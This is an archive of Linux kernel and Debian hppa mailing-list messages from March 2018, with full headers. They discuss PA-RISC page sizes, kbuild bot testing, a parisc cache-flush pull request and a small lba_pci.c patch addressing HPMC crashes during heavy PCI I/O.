Old-Return-Path: <deller@gmx.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 5542087
	for <lists-debian-hppa@bendel.debian.org>; Fri, 16 Mar 2018 19:54:15 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.719 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7, RCVD_IN_MSPIKE_H4=-0.01,
	RCVD_IN_MSPIKE_WL=-0.01] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id leyYanrwwQ1q for <lists-debian-hppa@bendel.debian.org>;
	Fri, 16 Mar 2018 19:54:09 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.17.22])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id E1B519B
	for <debian-hppa@lists.debian.org>; Fri, 16 Mar 2018 19:50:40 +0000 (UTC)
Original-Received: from [192.168.20.60] ([89.244.186.236]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LhNwC-1eJRpj05NA-00mXGP; Fri, 16
 Mar 2018 20:50:35 +0100
In-Reply-To: <25172070-e33d-bd4e-feb7-fc24acdffa72@bell.net>
Content-Language: en-US
X-Provags-ID: V03:K0:ThiRFn60gWZvHTjcFvQ3KJuUoKdyr3Vg93dbXcfLF21YpKRAB7f
 +F/JRDBWp7m5c6Dcvgcj0U1pMFTxQkGf0mLEzBDA0TP/hevenuSsK/EvS0yc0vfA+jaWNxJ
 kxBAgRm6x54bHRM8LrUzqash1s5i0MiZAotB8PLvoJ835cS9gaDIgdZD/p0pEkAeUgM2qvR
 xTtTxNNQ9fGTaQdbiUAEA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:KIoij0ES81A=:v3i1nxzXli+jMzcRkZiDOH
 bXnu5F7VioO/+uq9skKg5zoFQlMyQYWepkYuk3Lc6EZXCEnapqi+XjZN3JuF9ftJvIQ81Sf0B
 YbKIicZ0e1RRtFq0/c451Iv5WQ7AayOc/qLsDpt4Ir5tqWae+VZwTUMvGcSPW4kFPwOfxjGWg
 h6dxia3XzCJLkC6GtS842EUg07MhT6trT6gfEEt2fHta2li0qAeWmp/KsFT1Dnfvqc797SmFC
 DgsZUF2ybt+5N42row2OTWApkxCZiij+VL/HAfYZ2jJKCOkChxiDhkuHwmycM7wsTSpdfxuGo
 SCDBJYAtKeBnlw2J/VMxifP7ViJ5MvK/BJOXixDxtUwdmPUYZTLhVU0qNjoWIK5axdILYPrP/
 9TLpIQAZ+FiHxrBPTX/76cQ/VvhP0LEbGJLJLTb7kWFOiqpcTA8Wh5eysAqoDhUYeRngboJvr
 BTlGCiQjqx7C/4OFMLb4OJjjvR3hTA+/bohOioVDUQDluOqUohwJjxUqWQ/GU8PCHG3AXFnfP
 UXXluLzHymlqu5XkIS9YjLD7odAFVnY/lTzY5vBgUh+2IpkQsgIOVXdr5n+LvsTgUrJefty89
 lpDyhBiktMLy9R2v+UuRLRhjNMgzt6bkkZH9wqYDupFRrzNI6FZb4KFl30VCEIzXFglZRcsqj
 eoeYDjTdzgZJpj2SQ/So7YCuMOkCchyTYkOKSmgIVPObOURQpRSsf2iJKwQ9bc/ugnPflwz78
 sed4eV4P7a1Ko5VptDh/xII44H8CWMNBlTj7FNvD0DdY2O6a7gBl6ehElSEAY0YmxLVNV+ss 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <pFiO83NiyJ.A.GPB.0DCraB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8674
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/255e5ebc-4178-2969-9f15-953188108810@gmx.de
Resent-Date: Fri, 16 Mar 2018 19:54:28 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7690 gmane.linux.ports.parisc:28336
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7690>

On 16.03.2018 19:03, John David Anglin wrote:
> On 2018-03-16 1:58 PM, Matt Turner wrote:
>> On Fri, Mar 16, 2018 at 10:44 AM, John David Anglin
>> <dave.anglin@bell.net> wrote:
>>> On 2018-03-16 1:29 PM, Matt Turner wrote:
>>>> This week I succeeded in building a stripped-down kernel without
>>>> mlong-calls (in Gentoo), but was unable to get anything to link
>>>> without mlong-calls when CONFIG_PARISC_PAGE_SIZE_16KB=y.
>>>>
>>> I wouldn't recommend the above option.  It affects alignment of some things
>>> in kernel
>>> and as you found it makes the kernel bigger.  There are also some things in
>>> userspace
>>> that assume 4KB pages.
>> I expect we're past the point where there are any significant
>> obstacles to userspace support. Most platforms successfully support
>> multiple page sizes these days.
>>
> But they don't have the problem we do with non equivalent aliasing. The data section starts on a
> page boundary on parisc and it doesn't overlap text.

I'd be astonished, if anything other than 4kB page size is able to 
boot to a login prompt.
For example, I know the parisc PCI-specific code (dino,lba,...) still
depends on 4kb page sizes.
I've left the CONFIG options in the source in the hope somebody
will try to finish >4kb page support at some point.

Helge



From - Thu Nov 08 21:41:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [Y2038] [PATCH v4 02/10] include: Move compat_timespec/ timeval
 to compat_time.h
Date: Sat, 17 Mar 2018 15:32:50 +0800
Lines: 47
Approved: news@gmane.org
Message-ID: <20180317073250.6qfmyv45hc2jmyk4@wfg-t540p.sh.intel.com>
References: <20180312175307.11032-3-deepa.kernel@gmail.com>
 <201803132313.a4R8Y434%fengguang.wu@intel.com>
 <CABeXuvqNKfuvffU24Xydixv6Ro8R=2nAH4bruzx0AW=ax-6yOQ@mail.gmail.com>
 <CAK8P3a1fxWAK94GH0cpzh6CHXgL4uJuDNCGpdJen5ib1HH1xoA@mail.gmail.com>
 <CABeXuvpFfD+a6tSSOvni=v23DuJ-bWeZwmnzg4SU+TR=WHxs7Q@mail.gmail.com>
 <CAK8P3a1p1PruO_KsiE-sGAZdmoAVi2E3zZ+SXMzU=AZsb-RY-A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521271869 4636 195.159.176.226 (17 Mar 2018 07:31:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 17 Mar 2018 07:31:09 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, devel@driverdev.osuosl.org,
 linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Robert
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Sat Mar 17 08:31:00 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp3.osuosl.org ([140.211.166.136] helo=silver.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1ex6Iu-0000zp-9E
	for glddd-devel@m.gmane.org; Sat, 17 Mar 2018 08:31:00 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by silver.osuosl.org (Postfix) with ESMTP id 4AFC022193;
	Sat, 17 Mar 2018 07:33:06 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ubSNKFLhw8b6; Sat, 17 Mar 2018 07:33:05 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by silver.osuosl.org (Postfix) with ESMTP id F27792287C;
	Sat, 17 Mar 2018 07:33:04 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from whitealder.osuosl.org (smtp1.osuosl.org [140.211.166.138])
 by ash.osuosl.org (Postfix) with ESMTP id 897581CF034
 for <devel@linuxdriverproject.org>; Sat, 17 Mar 2018 07:33:03 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by whitealder.osuosl.org (Postfix) with ESMTP id 85CF18213A
 for <devel@linuxdriverproject.org>; Sat, 17 Mar 2018 07:33:03 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id chScGXUaXpKr for <devel@linuxdriverproject.org>;
 Sat, 17 Mar 2018 07:33:02 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mga17.intel.com (mga17.intel.com [192.55.52.151])
 by whitealder.osuosl.org (Postfix) with ESMTPS id 2EBCB825C1
 for <devel@driverdev.osuosl.org>; Sat, 17 Mar 2018 07:33:02 +0000 (UTC)
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from fmsmga003.fm.intel.com ([10.253.24.29])
 by fmsmga107.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 17 Mar 2018 00:33:01 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.48,319,1517904000"; d="scan'208";a="34618259"
Original-Received: from jinyuzhu-mobl.ccr.corp.intel.com (HELO wfg-t540p.sh.intel.com)
 ([10.254.210.47])
 by FMSMGA003.fm.intel.com with ESMTP; 17 Mar 2018 00:32:51 -0700
Original-Received: from wfg by wfg-t540p.sh.intel.com with local (Exim 4.89)
 (envelope-from <fengguang.wu@intel.com>)
 id 1ex6Kg-0005wx-VE; Sat, 17 Mar 2018 15:32:50 +0800
Content-Disposition: inline
In-Reply-To: <CAK8P3a1p1PruO_KsiE-sGAZdmoAVi2E3zZ+SXMzU=AZsb-RY-A@mail.gmail.com>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114642 gmane.linux.ports.mips.general:64041 gmane.linux.ports.sparc:27423 gmane.linux.kernel.year-2038:2558 gmane.linux.oprofile:13176 gmane.linux.ports.parisc:28337 gmane.linux.kernel:2717153 gmane.linux.ports.ppc64.devel:154614
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114642>

On Thu, Mar 15, 2018 at 09:04:04AM +0100, Arnd Bergmann wrote:
>On Thu, Mar 15, 2018 at 3:51 AM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
>> On Wed, Mar 14, 2018 at 1:52 PM, Arnd Bergmann <arnd@arndb.de> wrote:
>>> On Wed, Mar 14, 2018 at 4:50 AM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
>>>> The file arch/arm64/kernel/process.c needs asm/compat.h also to be
>>>> included directly since this is included conditionally from
>>>> include/compat.h. This does seem to be typical of arm64 as I was not
>>>> completely able to get rid of asm/compat.h includes for arm64 in this
>>>> series. My plan is to have separate patches to get rid of asm/compat.h
>>>> includes for the architectures that are not straight forward to keep
>>>> this series simple.
>>>> I will fix this and update the series.
>>>>
>>>
>>> I ran across the same thing in two more files during randconfig testing on
>>> arm64 now, adding this fixup on top for the moment, but maybe there
>>> is a better way:
>>
>> I was looking at how Al tested his uaccess patches:
>> https://www.spinics.net/lists/linux-fsdevel/msg108752.html
>>
>> He seems to be running the kbuild bot tests on his own git.
>> Is it possible to verify it this way on the 2038 tree? Or, I could
>> host a tree also.
>
>The kbuild bot should generally pick up any branch on git.kernel.org,
>and the patches sent to the mailing list. It tests a lot of things
>configurations, but I tend to find some things that it doesn't find
>by doing lots of randconfig builds on fewer target architectures
>(I only build arm, arm64 and x86 regularly).
>
>I remember that there was some discussion about a method
>to get the bot to test other branches (besides asking Fengguang
>to add it manually), but I don't remember what came out of that.

People can send email to me or lkp@intel.com for adding new git URLs
to 0day tests. Such requests are very welcome. Server load is not a
problem -- don't worry about your git pushes adding our test load.
By default all branches in a git tree will be tested, unless there are
explicit blacklist/whitelist.

We also have scripts to scan git.kernel.org/github/LKML looking for
possible new git URLs to add to 0day kbuild tests. However depending
on the team's maintenance pressure they may or may not run frequently.

Thanks,
Fengguang

From - Thu Nov 08 21:41:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture fix for 4.16-rc6
Date: Sat, 17 Mar 2018 12:10:50 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20180317111050.GA30481@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1521284944 21392 195.159.176.226 (17 Mar 2018 11:09:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 17 Mar 2018 11:09:04 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Mar 17 12:09:00 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ex9hs-0005RN-1q
	for glk-linux-kernel-4@m.gmane.org; Sat, 17 Mar 2018 12:09:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752755AbeCQLLE (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 17 Mar 2018 07:11:04 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:33361 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751949AbeCQLLD (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 17 Mar 2018 07:11:03 -0400
Original-Received: from ls3530.fritz.box ([89.247.41.208]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LcmN9-1eEhhJ0S0t-00k7GK; Sat, 17
 Mar 2018 12:10:54 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:bvVTxvt3EBHgWoiHUbcg9qQb0VvEWOb8irixa+dPlLoO2xd8EiC
 EDnohsY/yNFC8czl2AHyNELtynrlWYPwmAf2rvkxF96H9h0zxvE79xAMp4qQwznrRxdqMa0
 960hx7dYdqFZKWzlFpl3XBndSqIo93LCq0YbiHeM3HdS83FlRQ1wEuZBiec48PXhTZlviNz
 uV/flQL0TGPzYUE5N2NKA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:SmUdDgMO6SE=:KJ53KDqhrQ2CoSAI0+IW0A
 vykl9mS8cXOyWve7iBzxXq8sObYNrsIHh4Gb8wxJwEYE9+YlqNvz4DfCV6vFuwpEfJbFW4AYx
 1sWKlA31NcBKxe+51Wd1nN6ZLy4m4dMrLMNU6/7DBy9LY7pDd6KjyW/qrDUGx91rKRTCMWPbK
 SGtajc/FbydvIw69cfI8y+luo7JBOc5FoaNdPWqqkan+DOPK+YxXGAYMK9V50Oq6Tb91fI4Fn
 9ea6kxzsoVJoa0TBCfNE8EnUFRvIYom7f7LubuFX6Tx/N+YGemNgPeUtVB9sjs/rOWIeJf6mJ
 6VbsYWoLvpDjTSOoimFBFOjbN5PYRz2zCs/TXnxwt2NWekpTaDAOlgijE5+gf4AEIfHcxLXWS
 rfTfz6itkS43cAwd/x2irISMnq6FNGzQfNNTRUsid+GzRldLHT7mkyp2wG4v90vYDMjJhmzDt
 rJIKXL8nNiSeZWZBlPs0Ud2z9Hb3J5rCGBK8mTKTZMaN9GpqU+zzsn2K4Mv6A0NHbLJIU4lK+
 x01t0OhwzRG8VUSPcfXuN4TOVLd05ZyPBd3CXu9jA9dw+IwJTI8KRDaoRR5hNBotH3Oig7PpL
 GKkB2nV/OCFCy8ZL0HHrOQKemeQ8KpL8z39saLPsf+kZyhFzm4e0xKcBS9iYIZSKWWaeKIZII
 XB8B2Y7XQ9hCHbIeZuOmLSr9EvbiXi31kkmdPFqZLuljzt/gJVl12MC7irWAM61mTIQY61Sge
 DtwDRjZSEsrqObH5ZBSMFKAThXHZxmr9knr2tfVspspFJ5KAsNaPUbaATjSHvgypJ3g+FvGQ 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2717193 gmane.linux.ports.parisc:28338
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2717193>

Hi Linus,

please pull one patch for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.16-2

flush_cache_range() may be called without context, which then triggers a BUG().
This patch by Dave Anglin adds code to correctly handle this case.

Thanks,
Helge

----------------------------------------------------------------
John David Anglin (1):
      parisc: Handle case where flush_cache_range is called with no context

 arch/parisc/kernel/cache.c | 41 ++++++++++++++++++++++++++++++++---------
 1 file changed, 32 insertions(+), 9 deletions(-)


From - Thu Nov 08 21:41:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: kernel 4.15.7/64bit, C3600 is unstable during heavy I/O on PCI
Date: Sat, 17 Mar 2018 12:36:55 +0100
Lines: 77
Approved: news@gmane.org
Message-ID: <20180317113655.GA30572@ls3530.fritz.box>
References: <CA+QBN9DxM5PYCnPJCRtgxQ8xGk75=jAtsE+VibUfFOv+Yah6Og@mail.gmail.com>
 <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1521286510 23856 195.159.176.226 (17 Mar 2018 11:35:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 17 Mar 2018 11:35:10 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org
To: Carlo Pisani <carlojpisani@gmail.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat Mar 17 12:35:05 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1exA77-000673-3P
	for debian-hppa@m.gmane.org; Sat, 17 Mar 2018 12:35:05 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id AB24499; Sat, 17 Mar 2018 11:37:12 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sat Mar 17 11:37:12 2018
Old-Return-Path: <deller@gmx.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id AC73DB1
	for <lists-debian-hppa@bendel.debian.org>; Sat, 17 Mar 2018 11:37:03 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-5.28 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, NORMAL_HTTP_TO_IP=2.3, RCVD_IN_DNSWL_LOW=-0.7,
	RCVD_IN_MSPIKE_H2=-0.001] autolearn=no autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 8Q871nqk2qDz for <lists-debian-hppa@bendel.debian.org>;
	Sat, 17 Mar 2018 11:37:00 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.17.21])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 9968BA3
	for <debian-hppa@lists.debian.org>; Sat, 17 Mar 2018 11:37:00 +0000 (UTC)
Original-Received: from ls3530.fritz.box ([89.247.41.208]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MFi1J-1ersgm0SBR-00EdWG; Sat, 17
 Mar 2018 12:36:57 +0100
Content-Disposition: inline
In-Reply-To: <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com>
X-Provags-ID: V03:K0:396CYWqdLyLo+wP2jrdMvjPMBkG0N44he7NCsapv9fyyCnAbtCj
 XrLLqA6C06pwvkSNmVxBiPRWITWLSIUj40WT7vpgK0XctDvi8CVxVvTAKN8CkXCJzHvfuTp
 Gfr1DOLrDh8CRn/bnRRmf6ATlrJvO0UP0WECJOOT1JaM3RE7ocdgakg+VpXGy1EA3XqgRXK
 jIsaBDLlN6AsjVcCEi2wQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:GWYYh3IzfwU=:88W5bRrjgqNcuxTOTaavwX
 fRRbqN+9Qc/POWNnflIPXKBqKkSZcTTUKf+To5Sk85hHhlmmMtAtfpI4wpnQTjGDTnaU/eYFN
 //9gS4x4JyPy/+c4wh/uaGz1pHiajXvwXXniWLciNCNdyWse2XlxSJdIm6A1gpEFd+m8blk8Y
 aZY9F4/7/MoNlictAGnMyN+WDehLr1ibEySnWo/quwJ83pxEMPbDZkNoIbXk1M12nlgZ/XLxU
 VQum9oyFMm1i5UGmlwphoYfNzdCPFQdQGL7YiyFk76erzx8HipTfHZuZw9Zds8ecZMF2sRcIF
 URGvfJqdtOIuzz6GeJ9XAwnme1IXw2CK1TJjpaVMA7dYfx+TFu+F2W1H6avbSC6R9qlm8dJ3c
 ljYK7QCFxAFU39pmqA9XrFL6OzOROqvZSjErvu4zmTiYHMDHHDTL9/h/6HADdDeq3GLPN8gwj
 DtEGUgjFUJcXvg8obzRj9tVP2OVzXVPECFnrmp4WoQ593imh0z7P2bjVrjUFmMVxFGeo3n6Hv
 iOXCSZtMq6eB+sGKCFp5Gs0J1rMB8Uy4r9wNJkHOHrTTdCfUn2/oI2ojvxth7dwn3nAKZXCWl
 KHUKmZVuVOXjeg1EuBSXQhxf4Ps+iw74dCC5VjuWlXMXPr2r/GbWyB1jDwtuUuLFicgwDewQn
 xe2JuHgRSUjb1q1N63tHiri3wtoN2bu5/77O7NCEk34zmNL96tyOip67kITY0wwylxeIiy+SI
 dvB3geEejeiqHyPUaZAOsTlWS1gTdVO0H5pMz9ltH9Qp/VaeZ1MODHr8v+EKP/dp6Y9QL2LA 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <p57-qQSkOwB.A.rO.o3PraB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8675
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/20180317113655.GA30572@ls3530.fritz.box
Resent-Date: Sat, 17 Mar 2018 11:37:12 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7691 gmane.linux.ports.parisc:28339
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7691>

* Carlo Pisani <carlojpisani@gmail.com>:
> I have created and applied the following patch
> testing the kernel with heavy I/O seems now stable
> 
> my C3600 is still under testing, moving chunks of 500Mbyte and compiling gcc-v6
> 
> 
> http://93.55.217.0//wonderland/chunk_of/user/ivelegacy/happa-dev/hppa2_0001_HPMC_fix_my_v1.patch

--- drivers/parisc/lba_pci.c	2018-01-28 22:20:33.000000000 +0100
+++ drivers/parisc/lba_pci.c	2018-03-15 12:26:44.839894952 +0100
@@ -1405,7 +1405,7 @@
 
 	/* Set HF mode as the default (vs. -1 mode). */
         stat = READ_REG32(d->hba.base_addr + LBA_STAT_CTL);
-	WRITE_REG32(stat | HF_ENABLE, d->hba.base_addr + LBA_STAT_CTL);
+	WRITE_REG32(stat & ~HF_ENABLE, d->hba.base_addr + LBA_STAT_CTL);
 
 	/*
 	** Writing a zero to STAT_CTL.rf (bit 0) will clear reset signal

That's the patch from Kyle:
https://www.spinics.net/lists/linux-parisc/msg01027.html

which comes out of this mail thread:
https://www.spinics.net/lists/linux-parisc/msg01024.html
specifically with those notes:
https://www.spinics.net/lists/linux-parisc/msg01026.html

Citing here:
"bus timeout" usually means we tried to read an address that doesn't
respond. that is, nothing on the bus accepted the transaction for it,
so it timed out and HPMC'd the box.

what you really need is the IIR, and the address it tried to access
(both the kernel vaddr which will be in the register, and the "system
requester address" from the hpmc dump which will be the physical address
mapped.

not sure why the hpmc handler is getting skipped, that's a little weird.

you can try hacking elroy to set softfail mode on that bus, which will
result in a timeout on the pci bus to return -1 (like what x86 and most
other architectures do) rather than hang the box, but it really likely
means a driver bug.



So, you change LBA to return -1 instead of faulting via HPMC which is
of course one work-around to avoid the HPMC.

But could you try to check the driver instead?

You run this SATA controller:
01:05.0 RAID bus controller: VIA Technologies, Inc. VT6421 IDE RAID

